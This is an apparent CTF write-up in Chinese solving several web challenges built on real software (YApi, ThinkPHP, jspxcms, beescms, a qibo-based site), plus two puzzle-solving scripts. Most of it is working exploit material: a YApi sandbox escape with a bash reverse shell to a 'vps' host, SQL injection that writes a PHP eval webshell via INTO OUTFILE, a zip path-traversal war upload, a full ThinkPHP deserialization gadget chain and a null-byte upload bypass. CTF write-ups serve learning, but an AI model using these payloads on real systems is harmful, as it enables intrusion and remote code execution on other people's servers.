easyrce

在Github上找到Yapi的远程代码执行漏洞:https://github.com/YMFE/yapi/issues/2233

然后写入exp,访问api页面可以执行反弹shell

payload:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync('bash -c \"bash -i >& /dev/tcp/vps/8888 0>&1\"').toString()

cat flag

<?php
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (!preg_match('/flag/i',$cmd))
    {
        $cmd = escapeshellarg($cmd);
        system('cat ' . $cmd);
    }
} else {
    highlight_file(__FILE__);
}
?>

只能执行cat命令,这段代码copy到本地还能逃逸个--help参数,在buu的环境上逃逸不了。

首先传入cmd=/var/log/nginx/access.log读取nginx日志文件,在日志文件中找到一条访问记录:/this_is_final_flag_e2a457126032b42d.php。然后cat这个php文件的时候发现执行不了,因为代码中过滤了flag字符,在php文档中可以找到这句话,说是escapeshellarg函数会移除非ASCII字符,可以在flag中添加非ascii字符,被escapeshellarg函数移除后可以cat到flag

image-20210801232501987

payload:

?cmd=this_is_final_fl%ffag_e2a457126032b42d.php

easythinkphp

ThinkPHP3.2.3远程代码执行漏洞:http://www.hackdig.com/07/hack-407380.htm

那个第一个日志文件包含了但是没有执行代码,包含nginx的日志文件可以getshell,直接包含根目录下的flag也能出结果

payload:

?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_07_31.log
?m=Home&c=Index&a=index&value[_filename]=/var/log/nginx/access.log
image-20210801234503245

jspxcms

是个java的网站,后台页面在/cmscp/index.do

使用默认的admin和空密码可以登录后台

在网上找到这篇文章:https://www.freebuf.com/articles/others-articles/229928.html

大概是说jspxcms在线解压的目录无法执行jsp文件,但是配合压缩包可以进行目录穿越,再根据war包会自动解压的特点,从而getshell

使用冰蝎的一句话生成war文件:

jar.exe cf shell.war *

然后使用python脚本生成恶意压缩包:

import zipfile
​
z = zipfile.ZipFile('test.zip', 'w', zipfile.ZIP_DEFLATED)
with open('shell.war','rb') as f:
    war=f.read()
    z.writestr('../../../shell.war',war)
    z.close()

恶意压缩包的内容:

image-20210802000758537

在后台上传压缩包并解压就可以在/shell/shell.jsp访问jsp一句话

image-20210802002220961

cybercms

www.zip下载到网站源码,cms名称为beescms。

在db.sql文件中可以找到admin的密码hash,但是查不出对应的明文

image-20210802004247589

通过审计源码可知:传入的username和password经过fl_valuehf1_vvv两次过滤后传入check_login函数进行登录

image-20210802003141001

fl_value函数过滤是通过通过正则表达式将关键字替换为空字符串进行过滤,可以双写绕过

f1_vvv函数限制不能使用空格,其中还有一个将0x替换为空但是返回值不赋值给任何变量的迷惑行为

image-20210802004035685

过滤后的参数构造了一条select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1的sql语句传给了框架中的mysql类的fetch_asc方法,fetch_asc方法调用了该类的query函数,query函数将sql语句传入数据库,如果查询语句出错将会输出badbad hacker^_^

然后去网站admin目录下进行sql注入。构造如下的payload进行登录:

user=a'union/**/seleselectct/**/'9','admin','0cc175b9c0f1b6a831c399e269772661','admin','0'#&password=a

这个cms在后台应该是有个文件上传漏洞的,上传jpg文件将后缀改为php就能上传成功,但实际测试的过程中提示”Permission denied”

image-20210802005548426

于是想到用mysql数据库写马:

a'union/**/seleselectct/**/'9',0x3c3f70687020406576616c28245f504f53545b277368656c6c275d293b3f3e,'0cc175b9c0f1b6a831c399e269772661','admin','0'/**/into/**/outoutfilefile/**/'/var/www/html/eastjun.php'#
image-20210802011512023

ez_website

找到了这篇文章讲齐博cms的:https://ma4ter.cn/2527.html

在labelmodels控制器get_label的方法中直接将tag_arrar数组键cfg的值进行了反序列化,然后可以找找反序列化利用链:

<?php
namespace think\process\pipes {
    class Windows {
        private $files = [];
​
        public function __construct($files)
        {
            $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
        }
    }
}
​
namespace think {
    abstract class Model{
        protected $append = [];
        protected $error = null;
        public $parent;
​
        function __construct($output, $modelRelation)
        {
            $this->parent = $output;  //$this->parent=> think\console\Output;
            $this->append = array("xxx"=>"getError");     //调用getError 返回this->error
            $this->error = $modelRelation;               // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
        }
    }
}
​
namespace think\model{
    use think\Model;
    class Pivot extends Model{
        function __construct($output, $modelRelation)
        {
            parent::__construct($output, $modelRelation);
        }
    }
}
​
namespace think\model\relation{
    class HasOne extends OneToOne {
​
    }
}
namespace think\model\relation {
    abstract class OneToOne
    {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query)
        {
            $this->selfRelation = 0;
            $this->query = $query;    //$query指向Query
            $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
        }
    }
}
​
namespace think\db {
    class Query {
        protected $model;
​
        function __construct($model)
        {
            $this->model = $model; //$this->model=> think\console\Output;
        }
    }
}
namespace think\console{
    class Output{
        private $handle;
        protected $styles;
        function __construct($handle)
        {
            $this->styles = ['getAttr'];
            $this->handle =$handle; //$handle->think\session\driver\Memcached
        }
​
    }
}
namespace think\session\driver {
    class Memcached
    {
        protected $handler;
​
        function __construct($handle)
        {
            $this->handler = $handle; //$handle->think\cache\driver\File
        }
    }
}
​
namespace think\cache\driver {
    class File
    {
        protected $options=null;
        protected $tag;
​
        function __construct(){
            $this->options=[
                'expire' => 3600,
                'cache_subdir' => false,
                'prefix' => '',
                'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4g/../runtime/temp/',
                'data_compress' => false,
            ];
            $this->tag = 'xxx';
        }
​
    }
}
​
namespace {
    $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
    $Output = new think\console\Output($Memcached);
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
    echo urlencode(serialize($window));
​
}

payload:

/index.php/index/labelmodels/get_label?tag_array[cfg]=序列化字符

可以将马写在/runtime/temp/12ac95f1498ce51d2d96a249c09c1998.php:

image-20210802015313428

jj’s camera

是一个钓鱼网站,在网上可以找到源码:https://cloud.tencent.com/developer/article/1820176

打开sc.php传入id和url后浏览器会申请申请摄像头权限(注意不要像我一样把摄像头驱动禁了导致看不到申请摄像头权限的提示):

image-20210802104344254

如果给了摄像头权限这个页面会拍下一张照片,然后传给qbl.php储存在网站后台,在sc.php可以查看网站,然后跳转到指定的url。用burp抓包可知图片是以base64的形式进行传输的:

image-20210802105134334

qbl.php的源码如下:

<?php
error_reporting(0);
$base64_img = trim($_POST['img']);
$id = trim($_GET['id']);
$url = trim($_GET['url']);
$up_dir = './img/';//存放在当前目录的img文件夹下
if (empty($id) || empty($url) || empty($base64_img)) {
    exit;
}
if (!file_exists($up_dir)) {
    mkdir($up_dir, 0777);
}
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_img, $result)) {
    $type = $result[2];
    if (in_array($type, array('bmp', 'png'))) {
        $new_file = $up_dir . $id . '_' . date('mdHis_') . '.' . $type;
        file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)));
        header("Location: " . $url);
    }
}
?>

首先将传入的id、url、img参数用trim函数去除掉两端的空字符,然后将我们用POST方法传入的img参数中的base64字符串提取出来解码后用file_put_contents函数写入到文件中。同时还限制文件后缀为bmp或者png,在base64这里不能绕过后缀检测上传php文件。传入的文件的命名方式为”id_date_.suffix”,其中可控的参数只有id。在响应的header中可以找到网站使用的php版本为PHP/5.2.17,在这种旧版本的php中可以使用%00将文件名截断绕过文件上传。为了不让trim函数将%00去除,可以在文件名后添加一些字符

payload:

/qbl.php?id=eastjun.php%00a&url=http://baidu.com
​
POST:img=data:image/png;base64,PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4=

red_vs_blue

每次用nc连接后红蓝对抗的结果是不会发生改变的,于是可以写python脚本解题:

from pwn import *
​
known = ""
p = remote("node4.buuoj.cn", 28174)
​
​
def sendknown(s):
    for i in s:
        p.sendline(i.encode("utf-8"))
        res = p.recvuntil(b":")
        p.recv(1)
​
​
if __name__ == "__main__":
    p.recvuntil(b":\n")
    for _ in range(67):
        p.sendline(b"r")
        res = p.recvuntil(b":")
        if b"flag" in res:
            p.interactive()
        p.recv(1)
        print(res)
        print(known)
        if b"successful" in res:
            known += "r"
        else:
            known += "b"
            while b"again" in res:
                p.sendline(b"y")
                res = p.recvuntil(b":")
            sendknown(known)
    p.interactive()

运行结果:

c0c07aadd019629319ac0ac7ff765ab

funny_maze

迷宫题,需要10秒内走完迷宫,然后回答最短距离,用DFS进行搜索,总共有4个等级:

from pwn import *
​
​
def findans(m, l):
    x, y = l[0], l[1]
    if x < 0 or x > len(m[0]) - 1 or y < 0 or y > len(m[0]) - 1:
        return False
    if m[x][y] == "#":
        return False
    if m[x][y] == "E"[0]:
        return ""
    else:
        m[x] = f'{m[x][:y]}#{m[x][y + 1:]}'
        res = findans(m, (x + 1, y))
        if res != False:
            return "S" + res
        res = findans(m, (x, y + 1))
        if res != False:
            return "D" + res
        res = findans(m, (x - 1, y))
        if res != False:
            return "W" + res
        res = findans(m, (x, y - 1))
        if res != False:
            return "A" + res
        else:
            m[x] = f'{m[x][:y]} {m[x][y + 1:]}'
            return False
​
​
def findsrc(s):
    for i in range(len(s[0])):
        if s[i][0] == "S":
            return (i, 0)
​
​
if __name__ == "__main__":
    p = remote("node4.buuoj.cn", 28735)
    p.recv()
    p.sendline(b"1")
    maze = p.recvuntil(":\n").decode("utf-8").split("\n")[:-2]
    s = findsrc(maze)
    for i in maze:
        print(i)
    ans = findans(maze, s)
    print(len(ans))
    p.sendline(f"{len(ans) + 1}".encode("utf-8"))
    for _ in range(3):
        maze = p.recvuntil(":\n").decode("utf-8").split("\n")[3:-2]
        s = findsrc(maze)
        for i in maze:
            print(i)
        ans = findans(maze, s)
        print(len(ans))
        p.sendline(f"{len(ans) + 1}".encode("utf-8"))
    p.interactive()
​

运行结果:

image-20210802014537915

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...